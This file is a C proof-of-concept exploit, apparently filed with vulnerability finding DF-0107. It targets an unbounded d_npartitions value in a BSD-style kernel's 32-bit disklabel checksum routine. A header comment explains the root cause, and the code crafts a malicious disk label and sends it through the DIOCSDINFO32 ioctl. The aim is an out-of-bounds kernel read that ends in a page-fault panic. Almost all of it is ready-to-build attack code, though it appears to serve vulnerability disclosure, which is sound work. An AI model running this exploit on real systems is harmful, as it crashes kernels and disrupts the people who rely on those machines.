DF-0107 / poc_diocsdinfo.c
/* * DF-0107 - dkcksum32 OOB read via DIOCSDINFO32 with crafted d_npartitions * * Root-cause: l32_setdisklabel() (sys/kern/subr_disklabel32.c:264-265) calls * dkcksum32(nlp) WITHOUT first checking nlp->d_npartitions <= MAXPARTITIONS32. * The read path l32_readdisklabel() (subr_disklabel32.c:225-226) DOES guard. * dkcksum32() (sys/sys/disklabel32.h:150-161) computes its end pointer from * d_npartitions and XOR-walks u_int16_t's until it reaches that end: * * end = (u_int16_t *)&lp->d_partitions[lp->d_npartitions]; // UNBOUNDED * * With d_npartitions = 0xFFFF, end lands ~1 MiB past the label buffer * (0xFFFF * 16 bytes/partition = 1048560 bytes), so the kernel walks through * unrelated kernel memory until it faults an unmapped page => fatal trap 12. * * Trigger: open a disk-slice device node O_RDWR (requires root / operator), * issue DIOCSDINFO32 with a label whose d_magic == d_magic2 == DISKMAGIC32 and * d_npartitions = 0xFFFF. The setdisklabel check short-circuits past the two * magic comparisons and evaluates dkcksum32(nlp), which performs the OOB walk. * * Build: cc -o poc_diocsdinfo poc_diocsdinfo.c * Run: ./poc_diocsdinfo /dev/vn0s0 (as root; device must be a slice * that is not the whole-disk slice, * opened writable) * * Expected on vulnerable kernel: * Fatal trap 12: page fault while in kernel mode * fault virtual address = 0x... (well past the label buffer) * panic: page fault */ #include <sys/types.h> #include <sys/ioctl.h> #include <sys/disklabel32.h> #include <err.h> #include <fcntl.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> int main(int argc, char **argv) { struct disklabel32 label; const char *dev; int fd, r; if (argc != 2) { fprintf(stderr, "usage: %s <slice-device>\n", argv[0]); fprintf(stderr, " e.g. %s /dev/vn0s0 (must be writable by you)\n", argv[0]); return 2; } dev = argv[1]; /* * Craft the malicious label. Only the two magic fields must be correct so * the (d_magic || d_magic2 || dkcksum32) check reaches the dkcksum32 term; * d_npartitions is what makes dkcksum32 walk out of bounds. */ memset(&label, 0, sizeof(label)); label.d_magic = DISKMAGIC32; label.d_magic2 = DISKMAGIC32; label.d_npartitions = 0xFFFF; /* << the trigger: ~1 MiB OOB walk */ /* secsize/geometry/checksum left zero; irrelevant -- the panic is inside dkcksum32 before the resulting checksum is ever compared. */ fd = open(dev, O_RDWR); if (fd < 0) err(1, "open %s", dev); printf("[*] %s: issuing DIOCSDINFO32 with d_npartitions=0x%x\n", dev, label.d_npartitions); fflush(stdout); r = ioctl(fd, DIOCSDINFO32, &label); if (r < 0) warn("DIOCSDINFO32 ioctl returned (kernel NOT panicked)"); else printf("[!] DIOCSDINFO32 succeeded unexpectedly (r=%d)\n", r); close(fd); return 0; } |